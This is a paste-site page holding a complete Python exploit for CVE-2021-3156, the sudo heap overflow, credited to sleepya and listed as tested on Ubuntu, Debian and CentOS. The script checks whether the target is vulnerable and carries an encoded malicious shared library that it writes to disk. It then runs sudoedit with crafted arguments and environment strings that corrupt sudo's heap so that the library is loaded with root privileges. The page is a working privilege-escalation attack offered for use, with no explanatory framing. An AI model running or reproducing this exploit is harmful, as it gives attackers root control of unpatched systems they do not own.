Facebook
From Blush Motmot, 1 Week ago, written in Python.
Embed
Download Paste or View Raw
Hits: 60
  1. #!/usr/bin/python3
  2. '''
  3. Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
  4.  
  5. This exploit requires:
  6. - glibc with tcache
  7. - nscd service is not running
  8.  
  9. Tested on:
  10. - Ubuntu 18.04
  11. - Ubuntu 20.04
  12. - Debian 10
  13. - CentOS 8
  14. '''
  15. import os
  16. import subprocess
  17. import sys
  18. from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
  19.  
  20. SUDO_PATH = b"/usr/bin/sudo"
  21.  
  22. libc = cdll.LoadLibrary("libc.so.6")
  23.  
  24. # don't use LC_ALL (6). it override other LC_
  25. LC_CATS = [
  26.         b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
  27.         b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
  28.         b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
  29. ]
  30.  
  31. def check_is_vuln():
  32.         # below commands has no log because it is invalid argument for both patched and unpatched version
  33.         # patched version, error because of '-s' argument
  34.         # unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
  35.         r, w = os.pipe()
  36.         pid = os.fork()
  37.         if not pid:
  38.                 # child
  39.                 os.dup2(w, 2)
  40.                 execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
  41.                 exit(0)
  42.         # parent
  43.         os.close(w)
  44.         os.waitpid(pid, 0)
  45.         r = os.fdopen(r, 'r')
  46.         err = r.read()
  47.         r.close()
  48.        
  49.         if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
  50.                 return True
  51.         assert err.startswith('usage: ') or "invalid mode flags " in err, err
  52.         return False
  53.  
  54. def create_libx(name):
  55.         so_path = 'libnss_'+name+'.so.2'
  56.         if os.path.isfile(so_path):
  57.                 return  # existed
  58.        
  59.         so_dir = 'libnss_' + name.split('/')[0]
  60.         if not os.path.exists(so_dir):
  61.                 os.makedirs(so_dir)
  62.        
  63.         import zlib
  64.         import base64
  65.  
  66.         libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
  67.         with open(so_path, 'wb') as f:
  68.                 f.write(zlib.decompress(base64.b64decode(libx_b64)))
  69.         #os.chmod(so_path, 0o755)
  70.  
  71. def check_nscd_condition():
  72.         if not os.path.exists('/var/run/nscd/socket'):
  73.                 return True # no socket. no service
  74.        
  75.         # try connect
  76.         import socket
  77.         sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  78.         try:
  79.                 sk.connect('/var/run/nscd/socket')
  80.         except:
  81.                 return True
  82.         else:
  83.                 sk.close()
  84.  
  85.         with open('/etc/nscd.conf', 'r') as f:
  86.                 for line in f:
  87.                         line = line.strip()
  88.                         if not line.startswith('enable-cache'):
  89.                                 continue # comment
  90.                         service, enable = line.split()[1:]
  91.                         # in fact, if only passwd is enabled, exploit with this method is still possible (need test)
  92.                         # I think no one enable passwd but disable group
  93.                         if service == 'passwd' and enable == 'yes':
  94.                                 return False
  95.                         # group MUST be disabled to exploit sudo with nss_load_library() trick
  96.                         if service == 'group' and enable == 'yes':
  97.                                 return False
  98.                        
  99.         return True
  100.  
  101. def get_libc_version():
  102.         output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
  103.         for line in output.split('\n'):
  104.                 if line.startswith('ldd '):
  105.                         ver_txt = line.rsplit(' ', 1)[1]
  106.                         return list(map(int, ver_txt.split('.')))
  107.         return None
  108.  
  109. def check_libc_version():
  110.         version = get_libc_version()
  111.         assert version, "Cannot detect libc version"
  112.         # this exploit only works which glibc tcache (added in 2.26)
  113.         return version[0] >= 2 and version[1] >= 26
  114.  
  115. def check_libc_tcache():
  116.         libc.malloc.argtypes = (c_int,)
  117.         libc.malloc.restype = c_void_p
  118.         libc.free.argtypes = (c_void_p,)
  119.         # small bin or tcache
  120.         size1, size2 = 0xd0, 0xc0
  121.         mems = [0]*32
  122.         # consume all size2 chunks
  123.         for i in range(len(mems)):
  124.                 mems[i] = libc.malloc(size2)
  125.                
  126.         mem1 = libc.malloc(size1)
  127.         libc.free(mem1)
  128.         mem2 = libc.malloc(size2)
  129.         libc.free(mem2)
  130.         for addr in mems:
  131.                 libc.free(addr)
  132.         return mem1 != mem2
  133.  
  134. def get_service_user_idx():
  135.         '''Parse /etc/nsswitch.conf to find a group entry index
  136.         '''
  137.         idx = 0
  138.         found = False
  139.         with open('/etc/nsswitch.conf', 'r') as f:
  140.                 for line in f:
  141.                         if line.startswith('#'):
  142.                                 continue # comment
  143.                         line = line.strip()
  144.                         if not line:
  145.                                 continue # empty line
  146.                         words = line.split()
  147.                         if words[0] == 'group:':
  148.                                 found = True
  149.                                 break
  150.                         for word in words[1:]:
  151.                                 if word[0] != '[':
  152.                                         idx += 1
  153.                        
  154.         assert found, '"group" database is not found. might be exploitable but no test'
  155.         return idx
  156.  
  157. def get_extra_chunk_count(target_chunk_size):
  158.         # service_user are allocated by calling getpwuid()
  159.         # so we don't care allocation of chunk size 0x40 after getpwuid()
  160.         # there are many string that size can be varied
  161.         # here is the most common
  162.         chunk_cnt = 0
  163.        
  164.         # get_user_info() -> get_user_groups() ->
  165.         gids = os.getgroups()
  166.         malloc_size = len("groups=") + len(gids) * 11
  167.         chunk_size = (malloc_size + 8 + 15) & 0xfffffff0  # minimum size is 0x20. don't care here
  168.         if chunk_size == target_chunk_size: chunk_cnt += 1
  169.        
  170.         # host=<hostname>  (unlikely)
  171.         # get_user_info() -> sudo_gethostname()
  172.         import socket
  173.         malloc_size = len("host=") + len(socket.gethostname()) + 1
  174.         chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
  175.         if chunk_size == target_chunk_size: chunk_cnt += 1
  176.        
  177.         # simply parse "networks=" from "ip addr" command output
  178.         # another workaround is bruteforcing with number of 0x70
  179.         # policy_open() -> format_plugin_settings() ->
  180.         # a value is created from "parse_args() -> get_net_ifs()" with very large buffer
  181.         try:
  182.                 import ipaddress
  183.         except:
  184.                 return chunk_cnt
  185.         cnt = 0
  186.         malloc_size = 0
  187.         proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
  188.         for line in proc.stdout:
  189.                 line = line.strip()
  190.                 if not line.startswith('inet'):
  191.                         continue
  192.                 if cnt < 2: # skip first 2 address (lo interface)
  193.                         cnt += 1
  194.                         continue;
  195.                 addr = line.split(' ', 2)[1]
  196.                 mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
  197.                 malloc_size += addr.index('/') + 1 + len(mask)
  198.                 cnt += 1
  199.         malloc_size += len("network_addrs=") + cnt - 3 + 1
  200.         chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
  201.         if chunk_size == target_chunk_size: chunk_cnt += 1
  202.         proc.wait()
  203.        
  204.         return chunk_cnt
  205.  
  206. def execve(filename, argv, envp):
  207.         libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
  208.        
  209.         cargv = (c_char_p * len(argv))(*argv)
  210.         cenvp = (c_char_p * len(envp))(*envp)
  211.  
  212.         libc.execve(filename, cargv, cenvp)
  213.  
  214. def lc_env(cat_id, chunk_len):
  215.         name = b"C.UTF-8@"
  216.         name = name.ljust(chunk_len - 0x18, b'Z')
  217.         return LC_CATS[cat_id]+b"="+name
  218.  
  219.  
  220. assert check_is_vuln(), "target is patched"
  221. assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
  222. assert check_libc_tcache(), "glibc tcache is not found"
  223. assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
  224. service_user_idx = get_service_user_idx()
  225. assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
  226. create_libx("X/X1234")
  227.  
  228. # Note: actions[5] can be any value. library and known MUST be NULL
  229. FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
  230.  
  231. TARGET_OFFSET_START = 0x780
  232. FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
  233. FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1]  # remove last '\\'. stop overwritten
  234.  
  235. CHUNK_CMND_SIZE = 0xf0
  236.  
  237. # Allow custom extra_chunk_cnt incase unexpected allocation
  238. # Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
  239. extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
  240.  
  241. argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
  242. env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
  243. # first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
  244. env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
  245.  
  246. # add free chunks that created before target service_user
  247. for i in range(2, service_user_idx+2):
  248.         # skip LC_ALL (6)
  249.         env.append(lc_env(i if i < 6 else i+1, 0x40))
  250. if service_user_idx == 0:
  251.         env.append(lc_env(2, 0x20)) # for filling hole
  252.  
  253. for i in range(11, 11-extra_chunk_cnt, -1):
  254.         env.append(lc_env(i, CHUNK_CMND_SIZE))
  255.  
  256. env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
  257. env.append(b"TZ=:")  # shortcut tzset function
  258. # don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
  259. env.append(None)
  260.  
  261. execve(SUDO_PATH, argv, env)